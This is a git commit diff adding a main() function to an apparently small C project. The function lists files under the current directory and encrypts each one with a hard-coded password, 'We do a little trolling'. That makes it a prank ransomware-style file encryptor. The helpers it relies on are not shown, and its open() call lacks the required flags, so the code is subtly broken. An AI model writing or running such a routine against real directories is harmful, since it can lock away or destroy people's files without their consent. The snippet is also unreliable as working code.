From 863a7a0a45c3ed01af8e155a648b55b59bed4594 Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Sat, 29 Jun 2024 05:08:52 -0500 Subject: Should work now --- src/main.c | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) (limited to 'src/main.c') diff --git a/src/main.c b/src/main.c index 6e0bc8f..ffce943 100644 --- a/src/main.c +++ b/src/main.c @@ -8,8 +8,24 @@ * */ +#define _GNU_SOURCE + +#include "main.h" +#include "encryption.h" +#include "search.h" +#include "ll.h" + int main() { + // Get folders + struct nodelist *files = scanfiles("./", alphasort); + + // Encrypt those files + for(struct nodelist *p = files; p != NULL; p = p->next) { + int fd = open(p->fullpath); + passencblock(fd, "We do a little trolling"); + } + nodelist_delete(files); return 0; } \ No newline at end of file -- cgit v1.2.3